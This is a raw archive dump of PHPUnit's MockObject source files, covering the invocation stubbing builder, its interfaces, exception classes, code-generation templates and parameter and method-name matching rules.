PHPUnit\Framework\MockObject\IncompatibleReturnValueException; use PHPUnit\Framework\MockObject\InvocationHandler; use PHPUnit\Framework\MockObject\Matcher; use PHPUnit\Framework\MockObject\MatcherAlreadyRegisteredException; use PHPUnit\Framework\MockObject\MethodCannotBeConfiguredException; use PHPUnit\Framework\MockObject\MethodNameAlreadyConfiguredException; use PHPUnit\Framework\MockObject\MethodNameNotConfiguredException; use PHPUnit\Framework\MockObject\MethodParametersAlreadyConfiguredException; use PHPUnit\Framework\MockObject\Rule; use PHPUnit\Framework\MockObject\Stub\ConsecutiveCalls; use PHPUnit\Framework\MockObject\Stub\Exception; use PHPUnit\Framework\MockObject\Stub\ReturnArgument; use PHPUnit\Framework\MockObject\Stub\ReturnCallback; use PHPUnit\Framework\MockObject\Stub\ReturnReference; use PHPUnit\Framework\MockObject\Stub\ReturnSelf; use PHPUnit\Framework\MockObject\Stub\ReturnStub; use PHPUnit\Framework\MockObject\Stub\ReturnValueMap; use PHPUnit\Framework\MockObject\Stub\Stub; use Throwable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class InvocationMocker implements InvocationStubber, MethodNameMatch { /** * @var InvocationHandler */ private $invocationHandler; /** * @var Matcher */ private $matcher; /** * @var ConfigurableMethod[] */ private $configurableMethods; public function __construct(InvocationHandler $handler, Matcher $matcher, ConfigurableMethod ...$configurableMethods) { $this->invocationHandler = $handler; $this->matcher = $matcher; $this->configurableMethods = $configurableMethods; } /** * @throws MatcherAlreadyRegisteredException * * @return $this */ public function id($id): self { $this->invocationHandler->registerMatcher($id, $this->matcher); return $this; } /** * @return $this */ public function will(Stub $stub): Identity { $this->matcher->setStub($stub); return $this; } /** * @param mixed $value * @param mixed[] $nextValues * * @throws IncompatibleReturnValueException */ public function willReturn($value, ...$nextValues): self { if (count($nextValues) === 0) { $this->ensureTypeOfReturnValues([$value]); $stub = $value instanceof Stub ? $value : new ReturnStub($value); } else { $values = array_merge([$value], $nextValues); $this->ensureTypeOfReturnValues($values); $stub = new ConsecutiveCalls($values); } return $this->will($stub); } public function willReturnReference(&$reference): self { $stub = new ReturnReference($reference); return $this->will($stub); } public function willReturnMap(array $valueMap): self { $stub = new ReturnValueMap($valueMap); return $this->will($stub); } public function willReturnArgument($argumentIndex): self { $stub = new ReturnArgument($argumentIndex); return $this->will($stub); } public function willReturnCallback($callback): self { $stub = new ReturnCallback($callback); return $this->will($stub); } public function willReturnSelf(): self { $stub = new ReturnSelf; return $this->will($stub); } public function willReturnOnConsecutiveCalls(...$values): self { $stub = new ConsecutiveCalls($values); return $this->will($stub); } public function willThrowException(Throwable $exception): self { $stub = new Exception($exception); return $this->will($stub); } /** * @return $this */ public function after($id): self { $this->matcher->setAfterMatchBuilderId($id); return $this; } /** * @param mixed[] $arguments * * @throws \PHPUnit\Framework\Exception * @throws MethodNameNotConfiguredException * @throws MethodParametersAlreadyConfiguredException * * @return $this */ public function with(...$arguments): self { $this->ensureParametersCanBeConfigured(); $this->matcher->setParametersRule(new Rule\Parameters($arguments)); return $this; } /** * @param array ...$arguments * * @throws \PHPUnit\Framework\Exception * @throws MethodNameNotConfiguredException * @throws MethodParametersAlreadyConfiguredException * * @return $this */ public function withConsecutive(...$arguments): self { $this->ensureParametersCanBeConfigured(); $this->matcher->setParametersRule(new Rule\ConsecutiveParameters($arguments)); return $this; } /** * @throws MethodNameNotConfiguredException * @throws MethodParametersAlreadyConfiguredException * * @return $this */ public function withAnyParameters(): self { $this->ensureParametersCanBeConfigured(); $this->matcher->setParametersRule(new Rule\AnyParameters); return $this; } /** * @param Constraint|string $constraint * * @throws \PHPUnit\Framework\InvalidArgumentException * @throws MethodCannotBeConfiguredException * @throws MethodNameAlreadyConfiguredException * * @return $this */ public function method($constraint): self { if ($this->matcher->hasMethodNameRule()) { throw new MethodNameAlreadyConfiguredException; } $configurableMethodNames = array_map( static function (ConfigurableMethod $configurable) { return strtolower($configurable->getName()); }, $this->configurableMethods ); if (is_string($constraint) && !in_array(strtolower($constraint), $configurableMethodNames, true)) { throw new MethodCannotBeConfiguredException($constraint); } $this->matcher->setMethodNameRule(new Rule\MethodName($constraint)); return $this; } /** * @throws MethodNameNotConfiguredException * @throws MethodParametersAlreadyConfiguredException */ private function ensureParametersCanBeConfigured(): void { if (!$this->matcher->hasMethodNameRule()) { throw new MethodNameNotConfiguredException; } if ($this->matcher->hasParametersRule()) { throw new MethodParametersAlreadyConfiguredException; } } private function getConfiguredMethod(): ?ConfigurableMethod { $configuredMethod = null; foreach ($this->configurableMethods as $configurableMethod) { if ($this->matcher->getMethodNameRule()->matchesName($configurableMethod->getName())) { if ($configuredMethod !== null) { return null; } $configuredMethod = $configurableMethod; } } return $configuredMethod; } /** * @throws IncompatibleReturnValueException */ private function ensureTypeOfReturnValues(array $values): void { $configuredMethod = $this->getConfiguredMethod(); if ($configuredMethod === null) { return; } foreach ($values as $value) { if (!$configuredMethod->mayReturn($value)) { throw new IncompatibleReturnValueException( $configuredMethod, $value ); } } } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Builder/InvocationStubber.php000064400000003014147577714370026630 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Builder; use PHPUnit\Framework\MockObject\Stub\Stub; use Throwable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface InvocationStubber { public function will(Stub $stub): Identity; /** @return self */ public function willReturn($value, ...$nextValues)/*: self */; /** * @param mixed $reference * * @return self */ public function willReturnReference(&$reference)/*: self */; /** * @param array> $valueMap * * @return self */ public function willReturnMap(array $valueMap)/*: self */; /** * @param int $argumentIndex * * @return self */ public function willReturnArgument($argumentIndex)/*: self */; /** * @param callable $callback * * @return self */ public function willReturnCallback($callback)/*: self */; /** @return self */ public function willReturnSelf()/*: self */; /** * @param mixed $values * * @return self */ public function willReturnOnConsecutiveCalls(...$values)/*: self */; /** @return self */ public function willThrowException(Throwable $exception)/*: self */; } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Builder/MethodNameMatch.php000064400000001517147577714370026174 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Builder; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ interface MethodNameMatch extends ParametersMatch { /** * Adds a new method name match and returns the parameter match object for * further matching possibilities. * * @param \PHPUnit\Framework\Constraint\Constraint $constraint Constraint for matching method, if a string is passed it will use the PHPUnit_Framework_Constraint_IsEqual * * @return ParametersMatch */ public function method($constraint); } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Builder/ParametersMatch.php000064400000003310147577714370026247 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Builder; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ interface ParametersMatch extends Stub { /** * Defines the expectation which must occur before the current is valid. * * @param string $id the identification of the expectation that should * occur before this one * * @return Stub */ public function after($id); /** * Sets the parameters to match for, each parameter to this function will * be part of match. To perform specific matches or constraints create a * new PHPUnit\Framework\Constraint\Constraint and use it for the parameter. * If the parameter value is not a constraint it will use the * PHPUnit\Framework\Constraint\IsEqual for the value. * * Some examples: * * // match first parameter with value 2 * $b->with(2); * // match first parameter with value 'smock' and second identical to 42 * $b->with('smock', new PHPUnit\Framework\Constraint\IsEqual(42)); * * * @return ParametersMatch */ public function with(...$arguments); /** * Sets a rule which allows any kind of parameters. * * Some examples: * * // match any number of parameters * $b->withAnyParameters(); * * * @return ParametersMatch */ public function withAnyParameters(); } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Builder/Identity.php000064400000001220147577714370024756 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Builder; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ interface Identity { /** * Sets the identification of the expectation to $id. * * @note The identifier is unique per mock object. * * @param string $id unique identification of expectation */ public function id($id); } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Builder/Stub.php000064400000001303147577714370024104 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Builder; use PHPUnit\Framework\MockObject\Stub\Stub as BaseStub; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ interface Stub extends Identity { /** * Stubs the matching method with the stub object $stub. Any invocations of * the matched method will now be handled by the stub instead. */ public function will(BaseStub $stub): Identity; } vendor/phpunit/phpunit/src/Framework/MockObject/Exception/MethodNameNotConfiguredException.php000064400000001136147577714370032053 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MethodNameNotConfiguredException extends \PHPUnit\Framework\Exception implements Exception { public function __construct() { parent::__construct('Method name is not configured'); } } vendor/phpunit/phpunit/src/Framework/MockObject/Exception/MatchBuilderNotFoundException.php000064400000001347147577714370031367 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use function sprintf; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MatchBuilderNotFoundException extends \PHPUnit\Framework\Exception implements Exception { public function __construct(string $id) { parent::__construct( sprintf( 'No builder found for match builder identification <%s>', $id ) ); } } vendor/phpunit/phpunit/src/Framework/MockObject/Exception/MethodNameAlreadyConfiguredException.php000064400000001146147577714370032675 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MethodNameAlreadyConfiguredException extends \PHPUnit\Framework\Exception implements Exception { public function __construct() { parent::__construct('Method name is already configured'); } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/RuntimeException.php000064400000000727147577714370027052 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class RuntimeException extends \RuntimeException implements Exception { } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/ClassIsFinalException.php000064400000001353147577714370027736 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use function sprintf; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ClassIsFinalException extends \PHPUnit\Framework\Exception implements Exception { public function __construct(string $className) { parent::__construct( sprintf( 'Class "%s" is declared "final" and cannot be doubled', $className ) ); } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/ReflectionException.php000064400000000760147577714370027516 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use RuntimeException; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ReflectionException extends RuntimeException implements Exception { } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/BadMethodCallException.php000064400000000743147577714370030050 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class BadMethodCallException extends \BadMethodCallException implements Exception { } vendor/phpunit/phpunit/src/Framework/MockObject/Exception/CannotUseAddMethodsException.php000064400000001552147577714370031201 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use function sprintf; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class CannotUseAddMethodsException extends \PHPUnit\Framework\Exception implements Exception { public function __construct(string $type, string $methodName) { parent::__construct( sprintf( 'Trying to configure method "%s" with addMethods(), but it exists in class "%s". Use onlyMethods() for methods that exist in the class', $methodName, $type ) ); } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/Exception.php000064400000000701147577714370025476 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use Throwable; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ interface Exception extends Throwable { } readability/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/InvalidMethodNameException.php000064400000001341147577714370030671 0ustar00res * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use function sprintf; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class InvalidMethodNameException extends \PHPUnit\Framework\Exception implements Exception { public function __construct(string $method) { parent::__construct( sprintf( 'Cannot double method with invalid name "%s"', $method ) ); } } vendor/phpunit/phpunit/src/Framework/MockObject/Exception/SoapExtensionNotAvailableException.php000064400000001233147577714370032422 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class SoapExtensionNotAvailableException extends \PHPUnit\Framework\Exception implements Exception { public function __construct() { parent::__construct( 'The SOAP extension is required to generate a test double from WSDL' ); } } vendor/phpunit/phpunit/src/Framework/MockObject/Exception/CannotUseOnlyMethodsException.php000064400000001572147577714370031434 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use function sprintf; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class CannotUseOnlyMethodsException extends \PHPUnit\Framework\Exception implements Exception { public function __construct(string $type, string $methodName) { parent::__construct( sprintf( 'Trying to configure method "%s" with onlyMethods(), but it does not exist in class "%s". Use addMethods() for methods that do not exist in the class', $methodName, $type ) ); } } readability/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/DuplicateMethodException.php000064400000001661147577714370030421 0ustar00res * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use function sprintf; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class DuplicateMethodException extends \PHPUnit\Framework\Exception implements Exception { /** * @psalm-param list $methods */ public function __construct(array $methods) { parent::__construct( sprintf( 'Cannot double using a method list that contains duplicates: "%s" (duplicate: "%s")', implode(', ', $methods), implode(', ', array_unique(array_diff_assoc($methods, array_unique($methods)))) ) ); } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/UnknownTraitException.php000064400000001320147577714370030060 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use function sprintf; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class UnknownTraitException extends \PHPUnit\Framework\Exception implements Exception { public function __construct(string $traitName) { parent::__construct( sprintf( 'Trait "%s" does not exist', $traitName ) ); } } phpunit/src/Framework/MockObject/Exception/OriginalConstructorInvocationRequiredException.php000064400000001226147577714370035110 0ustar00res/readability/vendor/phpunit * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class OriginalConstructorInvocationRequiredException extends \PHPUnit\Framework\Exception implements Exception { public function __construct() { parent::__construct('Proxying to original methods requires invoking the original constructor'); } } phpunit/phpunit/src/Framework/MockObject/Exception/MethodParametersAlreadyConfiguredException.php000064400000001157147577714370034122 0ustar00res/readability/vendor * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MethodParametersAlreadyConfiguredException extends \PHPUnit\Framework\Exception implements Exception { public function __construct() { parent::__construct('Method parameters already configured'); } } vendor/phpunit/phpunit/src/Framework/MockObject/Exception/IncompatibleReturnValueException.php000064400000001717147577714370032153 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use function sprintf; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class IncompatibleReturnValueException extends \PHPUnit\Framework\Exception implements Exception { /** * @param mixed $value */ public function __construct(ConfigurableMethod $method, $value) { parent::__construct( sprintf( 'Method %s may not return value of type %s, its declared return type is "%s"', $method->getName(), is_object($value) ? get_class($value) : gettype($value), $method->getReturnTypeDeclaration() ) ); } } vendor/phpunit/phpunit/src/Framework/MockObject/Exception/ClassAlreadyExistsException.php000064400000001326147577714370031113 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use function sprintf; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ClassAlreadyExistsException extends \PHPUnit\Framework\Exception implements Exception { public function __construct(string $className) { parent::__construct( sprintf( 'Class "%s" already exists', $className ) ); } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/UnknownClassException.php000064400000001320147577714370030042 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use function sprintf; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class UnknownClassException extends \PHPUnit\Framework\Exception implements Exception { public function __construct(string $className) { parent::__construct( sprintf( 'Class "%s" does not exist', $className ) ); } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/UnknownTypeException.php000064400000001322147577714370027720 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use function sprintf; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class UnknownTypeException extends \PHPUnit\Framework\Exception implements Exception { public function __construct(string $type) { parent::__construct( sprintf( 'Class or interface "%s" does not exist', $type ) ); } } phpunit/src/Framework/MockObject/Exception/ConfigurableMethodsAlreadyInitializedException.php000064400000001000147577714370034745 0ustar00res/readability/vendor/phpunit * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ConfigurableMethodsAlreadyInitializedException extends \PHPUnit\Framework\Exception implements Exception { } vendor/phpunit/phpunit/src/Framework/MockObject/Exception/ReturnValueNotConfiguredException.php000064400000001466147577714370032314 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ReturnValueNotConfiguredException extends \PHPUnit\Framework\Exception implements Exception { public function __construct(Invocation $invocation) { parent::__construct( sprintf( 'Return value inference disabled and no expectation set up for %s::%s()', $invocation->getClassName(), $invocation->getMethodName() ) ); } } vendor/phpunit/phpunit/src/Framework/MockObject/Exception/MatcherAlreadyRegisteredException.php000064400000001337147577714370032251 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use function sprintf; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MatcherAlreadyRegisteredException extends \PHPUnit\Framework\Exception implements Exception { public function __construct(string $id) { parent::__construct( sprintf( 'Matcher with id <%s> is already registered', $id ) ); } } vendor/phpunit/phpunit/src/Framework/MockObject/Exception/MethodCannotBeConfiguredException.php000064400000001501147577714370032177 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use function sprintf; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MethodCannotBeConfiguredException extends \PHPUnit\Framework\Exception implements Exception { public function __construct(string $method) { parent::__construct( sprintf( 'Trying to configure method "%s" which cannot be configured because it does not exist, has not been specified, is final, or is static', $method ) ); } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/proxied_method.tpl000064400000001575147577714370026564 0ustar00 {modifier} function {reference}{method_name}({arguments_decl}){return_declaration} { $__phpunit_arguments = [{arguments_call}]; $__phpunit_count = func_num_args(); if ($__phpunit_count > {arguments_count}) { $__phpunit_arguments_tmp = func_get_args(); for ($__phpunit_i = {arguments_count}; $__phpunit_i < $__phpunit_count; $__phpunit_i++) { $__phpunit_arguments[] = $__phpunit_arguments_tmp[$__phpunit_i]; } } $this->__phpunit_getInvocationHandler()->invoke( new \PHPUnit\Framework\MockObject\Invocation( '{class_name}', '{method_name}', $__phpunit_arguments, '{return_type}', $this, {clone_arguments}, true ) ); return call_user_func_array(array($this->__phpunit_originalObject, "{method_name}"), $__phpunit_arguments); } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/wsdl_class.tpl000064400000000315147577714370025677 0ustar00declare(strict_types=1); {namespace}class {class_name} extends \SoapClient { public function __construct($wsdl, array $options) { parent::__construct('{wsdl}', $options); } {methods}} vendor/phpunit/phpunit/src/Framework/MockObject/Generator/proxied_method_never_or_void.tpl000064400000001566147577714370031425 0ustar00res/readability {modifier} function {reference}{method_name}({arguments_decl}){return_declaration} { $__phpunit_arguments = [{arguments_call}]; $__phpunit_count = func_num_args(); if ($__phpunit_count > {arguments_count}) { $__phpunit_arguments_tmp = func_get_args(); for ($__phpunit_i = {arguments_count}; $__phpunit_i < $__phpunit_count; $__phpunit_i++) { $__phpunit_arguments[] = $__phpunit_arguments_tmp[$__phpunit_i]; } } $this->__phpunit_getInvocationHandler()->invoke( new \PHPUnit\Framework\MockObject\Invocation( '{class_name}', '{method_name}', $__phpunit_arguments, '{return_type}', $this, {clone_arguments}, true ) ); call_user_func_array(array($this->__phpunit_originalObject, "{method_name}"), $__phpunit_arguments); } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/mocked_class.tpl000064400000000220147577714370026163 0ustar00declare(strict_types=1); {prologue}{class_declaration} { use \PHPUnit\Framework\MockObject\Api;{method}{clone} {mocked_methods}}{epilogue} res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/mocked_static_method.tpl000064400000000356147577714370027717 0ustar00 {modifier} function {reference}{method_name}({arguments_decl}){return_declaration} { throw new \PHPUnit\Framework\MockObject\BadMethodCallException('Static method "{method_name}" cannot be invoked on mock object'); } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/mocked_method.tpl000064400000001506147577714370026346 0ustar00 {modifier} function {reference}{method_name}({arguments_decl}){return_declaration} {{deprecation} $__phpunit_arguments = [{arguments_call}]; $__phpunit_count = func_num_args(); if ($__phpunit_count > {arguments_count}) { $__phpunit_arguments_tmp = func_get_args(); for ($__phpunit_i = {arguments_count}; $__phpunit_i < $__phpunit_count; $__phpunit_i++) { $__phpunit_arguments[] = $__phpunit_arguments_tmp[$__phpunit_i]; } } $__phpunit_result = $this->__phpunit_getInvocationHandler()->invoke( new \PHPUnit\Framework\MockObject\Invocation( '{class_name}', '{method_name}', $__phpunit_arguments, '{return_type}', $this, {clone_arguments} ) ); return $__phpunit_result; } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/wsdl_method.tpl000064400000000074147577714370026054 0ustar00 public function {method_name}({arguments}) { } vendor/phpunit/phpunit/src/Framework/MockObject/Generator/mocked_method_never_or_void.tpl000064400000001417147577714370031210 0ustar00res/readability {modifier} function {reference}{method_name}({arguments_decl}){return_declaration} {{deprecation} $__phpunit_arguments = [{arguments_call}]; $__phpunit_count = func_num_args(); if ($__phpunit_count > {arguments_count}) { $__phpunit_arguments_tmp = func_get_args(); for ($__phpunit_i = {arguments_count}; $__phpunit_i < $__phpunit_count; $__phpunit_i++) { $__phpunit_arguments[] = $__phpunit_arguments_tmp[$__phpunit_i]; } } $this->__phpunit_getInvocationHandler()->invoke( new \PHPUnit\Framework\MockObject\Invocation( '{class_name}', '{method_name}', $__phpunit_arguments, '{return_type}', $this, {clone_arguments} ) ); } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/intersection.tpl000064400000000114147577714370026244 0ustar00declare(strict_types=1); interface {intersection} extends {interfaces} { } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/trait_class.tpl000064400000000121147577714370026044 0ustar00declare(strict_types=1); {prologue}class {class_name} { use {trait_name}; } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/deprecation.tpl000064400000000073147577714370026037 0ustar00 @trigger_error({deprecation}, E_USER_DEPRECATED); res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/AnyParameters.php000064400000001326147577714370025270 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Rule; use PHPUnit\Framework\MockObject\Invocation as BaseInvocation; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class AnyParameters implements ParametersRule { public function toString(): string { return 'with any parameters'; } public function apply(BaseInvocation $invocation): void { } public function verify(): void { } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedAtLeastOnce.php000064400000002446147577714370026203 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Rule; use PHPUnit\Framework\ExpectationFailedException; use PHPUnit\Framework\MockObject\Invocation as BaseInvocation; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class InvokedAtLeastOnce extends InvocationOrder { public function toString(): string { return 'invoked at least once'; } /** * Verifies that the current expectation is valid. If everything is OK the * code should just return, if not it must throw an exception. * * @throws ExpectationFailedException */ public function verify(): void { $count = $this->getInvocationCount(); if ($count < 1) { throw new ExpectationFailedException( 'Expected invocation at least once but it never occurred.' ); } } public function matches(BaseInvocation $invocation): bool { return true; } protected function invokedDo(BaseInvocation $invocation): void { } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/Parameters.php000064400000011063147577714370024617 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Rule; use function count; use function get_class; use function sprintf; use Exception; use PHPUnit\Framework\Constraint\Constraint; use PHPUnit\Framework\Constraint\IsAnything; use PHPUnit\Framework\Constraint\IsEqual; use PHPUnit\Framework\ExpectationFailedException; use PHPUnit\Framework\MockObject\Invocation as BaseInvocation; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Parameters implements ParametersRule { /** * @var Constraint[] */ private $parameters = []; /** * @var BaseInvocation */ private $invocation; /** * @var bool|ExpectationFailedException */ private $parameterVerificationResult; /** * @throws \PHPUnit\Framework\Exception */ public function __construct(array $parameters) { foreach ($parameters as $parameter) { if (!($parameter instanceof Constraint)) { $parameter = new IsEqual( $parameter ); } $this->parameters[] = $parameter; } } public function toString(): string { $text = 'with parameter'; foreach ($this->parameters as $index => $parameter) { if ($index > 0) { $text .= ' and'; } $text .= ' ' . $index . ' ' . $parameter->toString(); } return $text; } /** * @throws Exception */ public function apply(BaseInvocation $invocation): void { $this->invocation = $invocation; $this->parameterVerificationResult = null; try { $this->parameterVerificationResult = $this->doVerify(); } catch (ExpectationFailedException $e) { $this->parameterVerificationResult = $e; throw $this->parameterVerificationResult; } } /** * Checks if the invocation $invocation matches the current rules. If it * does the rule will get the invoked() method called which should check * if an expectation is met. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public function verify(): void { $this->doVerify(); } /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ private function doVerify(): bool { if (isset($this->parameterVerificationResult)) { return $this->guardAgainstDuplicateEvaluationOfParameterConstraints(); } if ($this->invocation === null) { throw new ExpectationFailedException('Mocked method does not exist.'); } if (count($this->invocation->getParameters()) < count($this->parameters)) { $message = 'Parameter count for invocation %s is too low.'; // The user called `->with($this->anything())`, but may have meant // `->withAnyParameters()`. // // @see https://github.com/sebastianbergmann/phpunit-mock-objects/issues/199 if (count($this->parameters) === 1 && get_class($this->parameters[0]) === IsAnything::class) { $message .= "\nTo allow 0 or more parameters with any value, omit ->with() or use ->withAnyParameters() instead."; } throw new ExpectationFailedException( sprintf($message, $this->invocation->toString()) ); } foreach ($this->parameters as $i => $parameter) { $parameter->evaluate( $this->invocation->getParameters()[$i], sprintf( 'Parameter %s for invocation %s does not match expected ' . 'value.', $i, $this->invocation->toString() ) ); } return true; } /** * @throws ExpectationFailedException */ private function guardAgainstDuplicateEvaluationOfParameterConstraints(): bool { if ($this->parameterVerificationResult instanceof ExpectationFailedException) { throw $this->parameterVerificationResult; } return (bool) $this->parameterVerificationResult; } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/MethodName.php000064400000003605147577714370024540 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Rule; use function is_string; use PHPUnit\Framework\Constraint\Constraint; use PHPUnit\Framework\InvalidArgumentException; use PHPUnit\Framework\MockObject\Invocation as BaseInvocation; use PHPUnit\Framework\MockObject\MethodNameConstraint; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MethodName { /** * @var Constraint */ private $constraint; /** * @param Constraint|string $constraint * * @throws InvalidArgumentException */ public function __construct($constraint) { if (is_string($constraint)) { $constraint = new MethodNameConstraint($constraint); } if (!$constraint instanceof Constraint) { throw InvalidArgumentException::create(1, 'PHPUnit\Framework\Constraint\Constraint object or string'); } $this->constraint = $constraint; } public function toString(): string { return 'method name ' . $this->constraint->toString(); } /** * @throws \PHPUnit\Framework\ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ public function matches(BaseInvocation $invocation): bool { return $this->matchesName($invocation->getMethodName()); } /** * @throws \PHPUnit\Framework\ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ public function matchesName(string $methodName): bool { return (bool) $this->constraint->evaluate($methodName, '', true); } } 